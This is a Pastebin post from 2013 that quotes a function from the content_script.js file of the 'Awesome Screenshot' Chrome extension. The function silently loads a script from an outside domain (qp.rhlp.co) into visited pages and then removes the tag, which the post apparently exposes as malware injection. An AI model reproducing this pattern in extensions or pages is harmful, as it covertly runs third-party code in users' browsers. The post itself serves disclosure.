Guest User

Awesome Screenshot Malware Injection

a guest
Dec 18th, 2013
1,900
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // Line 787 to 801 of content_script.js in the extension folder
  2. // You can find your extension folder here: http://stackoverflow.com/questions/10269002/where-does-google-chrome-store-unpacked-extensions
  3.  
  4. function addSitepoint () {
  5.     var p = "awesomescreenshot";
  6.     var r = false;
  7.     var s = document.createElement("script");
  8.     s.type = "text/javascript";
  9.     s.src = "//qp.rhlp.co/pads/js/" + encodeURIComponent(p);
  10.     s.async = true;
  11.     s.onload = s.onreadystatechange = function () {
  12.         if (!r && (!this.readyState || this.readyState == 'loaded' || this.readyState == 'complete')) {
  13.             r = true;
  14.             s.parentNode.removeChild(s);
  15.         }
  16.     };
  17.     document.body.appendChild(s);
  18. }
RAW Paste Data